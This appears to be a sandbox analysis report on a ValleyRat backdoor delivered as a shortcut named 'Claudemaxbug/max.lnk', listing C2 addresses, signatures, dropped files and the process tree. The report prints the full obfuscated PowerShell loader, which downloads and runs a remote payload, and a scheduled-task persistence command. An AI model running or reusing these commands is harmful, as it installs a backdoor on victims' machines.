Analysis

  • max time kernel
    300s
  • max time network
    298s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 16:28

General

  • Target
    Claudemaxbug/max.lnk
  • Size 6KB
  • Sample260801-ty25rade75
  • SHA256 101ca72ea83c5a7137c3b2c7dabad0d1bc5760710926844b6f52749f4b191eb3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

Version
  • 1.0

C2
  • 118.107.43.220:8080

  • 118.107.43.220:8888

Attributes
  • campaign_date

    2026. 7.31

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\max.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JAByAGUAdgAgAD0AIAAnADsAIgBlAHgAZQAuAGQAcwBsAG8AbwB0AG0AdgBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7ACIAZQB4AGUALgB0AHIAbwBwAGcAaABjAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIAAmADsAZQBjAHIAbwBGAC0AIAAiAHAAaQB6AC4AMwAzADMAdQBoAG4AbwBZAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABtAGUAdABJAC0AZQB2AG8AbQBlAFIAIAA7AGUAYwByAG8ARgAtACAAIgBDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABoAHQAYQBQAG4AbwBpAHQAYQBuAGkAdABzAGUARAAtACAAIgBwAGkAegAuADMAMwAzAHUAaABuAG8AWQBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtACAAZQB2AGkAaABjAHIAQQAtAGQAbgBhAHAAeABFADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkAXABcAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAG8ALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkALwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7AH0AbABsAHUATgAtAHQAdQBPAHwAZQBjAHIAbwBGAC0AIAAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAHkAcgBvAHQAYwBlAHIAaQBEACAAZQBwAHkAVAAtACAAbQBlAHQASQAtAHcAZQBOACAAIAB7ACkAKQAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQB0AHMAZQBUACgAIAB0AG8AbgAtACgAIABmAGkAIAA7ACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAGgAdABhAFAAZQBsAGkARgAtACAAcwBwAGEAcwAgADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAG8ALQAgACIAdAB4AHQALgAOZvSLLwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7ACIANAAzADEALwAvADoAIgA9AEIAUwAkADsAIgBnAG4AaQBzAHIAYQAiAD0AbABsACQAOwAiAFAAYwBpACIAPQBrAGsAJAA7ACIAcwBhAEIAIgA9AGoAagAkADsAIgBlAHMAVQAtACIAPQBoAGgAJAA7ACIAcAAiAD0AdgB2ACQAOwAiAHQAdABoACIAPQBjAGEAJAA7ACIAagB1AGgAIgA9AGoAdQBoACQAOwAiAGoARABTAGgAIgA9AEUAUgBoACQAOwAiAGQAeQB1AGkAaQAiAD0AcwBGAEUAZgAkADsAIgBlAGUAZQB3AHMAcwB5ACIAPQBzAHMAZQBmACQAOwAiAGUAZQBlAHgAYwB2AGcAZgBzAHkAIgA9AHMAZABkAGUAZgAkADsAIgBlAEcAZAByAHMAdABnACIAPQBBAHQAZABnAGcAZABzAHoAbQBaACQAOwAiAGUAZgBkAGUAcwByAGUAIgA9AHMAdABlAGEAcwBiACQAOwAiAGQAdAB5AGgAZwAiAD0ARQBkAFMAVgBHACQAOwAiAGQAdQBmAGkAagBsAGcAIgA9AGYAZABkAGUAcQB0AGcAaABqACQAOwAiAGIAcgBlAHMAYQBkAGQAIgA9AGYAZABkAGQAZABkAHAAbwBrAGgAagAkADsAIgBiAHIAZQBzAGEARgBHAEkATQAiAD0AZgBkAGQAZABkAEcARwBGAEQAJAA7ACIAYgByAGUAcwBNACIAPQBmAGQAZAAkADsAIgBiAHIAZQBzAEQARABNACIAPQBmAGQAUwBkAEEAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAFMAZABCAEsAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAGQAQgBMACQAOwBlAGMAcgBvAEYALQAgACIAawBuAGwALgB0AHgAdAAuAA5m9ItcAFwAaAB0AGEAUABsAGEAYwBvAGwAJAAiACAAaAB0AGEAUAAtACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBoAHQAYQBQAC4AKQBuAG8AaQB0AGEAYwBvAEwALQB0AGUARwAoACAAPQAgAGgAdABhAFAAbABhAGMAbwBsACQAJwAKACQAYwBtAGYAIAA9ACAALQBqAG8AaQBuACAAJAByAGUAdgBbAC0AMQAuAC4ALQAkAHIAZQB2AC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGYA
      2⤵
      • Badlisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\说明.txt
        3⤵
          PID:1388
        • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe
            4⤵
            • Badlisted process makes network request
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:3232
        • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe"
          3⤵
          • Looks for VMWare Tools registry key
          • Looks for VMWare services registry key.
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3556
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /create /tn "ChgUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe" /sc daily /st 09:00 /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5456
    • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe
        2⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5972

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          说明.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\说明.txt
          • Size 108KB
          • SHA256 2ad8015e32be32383252dbdeb1e8fb2531a5d1bc1aa496c772caca31cf1b5674
          • MD5 SHA1 SHA512 SSDEEP TLSH

          222.txt

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\222.txt
          • Size 18B
          • SHA256 d6aae17a44e4d1f7e882e5fe898f56edfc0aaa27d620f735c9ed7902ce72c199
          • MD5 SHA1 SHA512

          3.ico

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\3.ico
          • Size 16KB
          • SHA256 950d53003d6787915dbad120d0e2964ea7302a56da93e836e27ced079624e697
          • MD5 SHA1 SHA512 SSDEEP TLSH

          3.pdf

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\3.pdf
          • Size 824KB
          • SHA256 a6dde2021305f44bf707b879375811aac356af8d966329cb129df4de2fd0058d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          LoggerCollector.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\LoggerCollector.dll
          • Size 185KB
          • SHA256 72965840a521c2dab3e6a021301df314f1cf4cd7a2dd57eaa04b2e84ec198609
          • MD5 SHA1 SHA512 SSDEEP TLSH

          TT.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\TT.exe
          • Size 76KB
          • SHA256 b50952f9af310be586746356508b9fd430dcbbaa155a04e6f9563632de0a023b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          chgport.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
          • Size 2.2MB
          • SHA256 255e4c5b81ddabc02455b7b4560e168b4064e63ec3721230201d1a7928c9f158
          • MD5 SHA1 SHA512 SSDEEP TLSH

          glib-2.0.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\glib-2.0.dll
          • Size 1.1MB
          • SHA256 2e6ed256cc0c0e1dbd8d0fbd83818744b4723def05be9c0bcbca961feac56fdf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          gmodule-2.0.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gmodule-2.0.dll
          • Size 131KB
          • SHA256 8948d802bca3dbc2fa8dc238f7a4176edaeb033ad2089a029e3fbc32d0d89a98
          • MD5 SHA1 SHA512 SSDEEP TLSH

          gobject-2.0.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gobject-2.0.dll
          • Size 295KB
          • SHA256 8716833a789cb1bd0c3367be44996f9198138faaeb876a7874812319ff505c3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          intl.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\intl.dll
          • Size 94KB
          • SHA256 2b610cef5cdaafcdb10a2b63de10913912b4b5141ae7d81cece4e9398911d10b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          lpinfos.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\lpinfos.dll
          • Size 33KB
          • SHA256 16a2b6ba2284a2476d4a345b35502c52a2a98ac0931ce7faf814765f659e2725
          • MD5 SHA1 SHA512 SSDEEP TLSH

          pcre.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\pcre.dll
          • Size 403KB
          • SHA256 9524a9ae031af3d1755ef7b14031fa4372a9891622323fecb1a8f0180beb2ffe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vcruntime140.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vcruntime140.dll
          • Size 117KB
          • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vmtools.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtools.dll
          • Size 821KB
          • SHA256 4504dee573d0b4655da2362d89532fa30ddffbfb3e95575bfa0aac6684138553
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vmtoolsd.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
          • Size 91KB
          • SHA256 61d4473cff983c93df36b127c87fa682de89b49858723a22b814483632559556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vvaS.bin

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vvaS.bin
          • Size 1KB
          • SHA256 d2cd89ca07d8f6706f3bb20277aa480e1cf43eaa9e4c9695922f45d44a2c14f3
          • MD5 SHA1 SHA512 TLSH

          vvvv.ico

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vvvv.ico
          • Size 24KB
          • SHA256 a19d74c45f5e5f899f932e5917b973e14c00284d39bdbbd92e73c830da68e0ee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          wow32.dll

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\wow32.dll
          • Size 510KB
          • SHA256 29fc393b56fcfa4a242c7bc5177b0861072f35c7c8be2546115e0f34d059e2bf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2968-26-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-6-0x00000292BFD70000-0x00000292BFD92000-memory.dmp

          memory/2968-35-0x00000292C0280000-0x00000292C028A000-memory.dmp

          memory/2968-36-0x00000292C02A0000-0x00000292C02B2000-memory.dmp

          memory/2968-37-0x00000292C0290000-0x00000292C029A000-memory.dmp

          memory/2968-33-0x00000292C02A0000-0x00000292C02BE000-memory.dmp

          memory/2968-28-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-27-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-2-0x00007FFD609FF000-0x00007FFD60A00000-memory.dmp

          memory/2968-25-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-17-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-16-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-15-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-14-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-13-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-169-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-12-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-11-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-10-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-9-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-8-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-7-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-5-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

          memory/2968-34-0x00000292C02C0000-0x00000292C0372000-memory.dmp

          memory/3232-189-0x0000000002970000-0x00000000029CB000-memory.dmp

          memory/3232-181-0x0000000002160000-0x0000000002180000-memory.dmp

          memory/3232-180-0x0000000002160000-0x0000000002180000-memory.dmp

          memory/3232-197-0x0000000002160000-0x0000000002180000-memory.dmp

          memory/3232-190-0x0000000002970000-0x00000000029CB000-memory.dmp

          memory/3232-179-0x0000000002160000-0x0000000002180000-memory.dmp

          memory/3232-185-0x0000000002160000-0x0000000002180000-memory.dmp

          memory/3232-186-0x0000000002970000-0x00000000029CB000-memory.dmp

          memory/3232-187-0x0000000002970000-0x00000000029CB000-memory.dmp

          memory/3232-188-0x0000000002970000-0x00000000029CB000-memory.dmp

          memory/5972-183-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

          memory/5972-184-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

          memory/5972-193-0x00000000034B0000-0x000000000350B000-memory.dmp

          memory/5972-192-0x00000000034B0000-0x000000000350B000-memory.dmp

          memory/5972-191-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

          memory/5972-195-0x00000000034B0000-0x000000000350B000-memory.dmp

          memory/5972-194-0x00000000034B0000-0x000000000350B000-memory.dmp

          memory/5972-196-0x00000000034B0000-0x000000000350B000-memory.dmp

          memory/5972-182-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

          memory/5972-199-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

          memory/5972-200-0x0000000002CA0000-0x0000000002CC0000-memory.dmp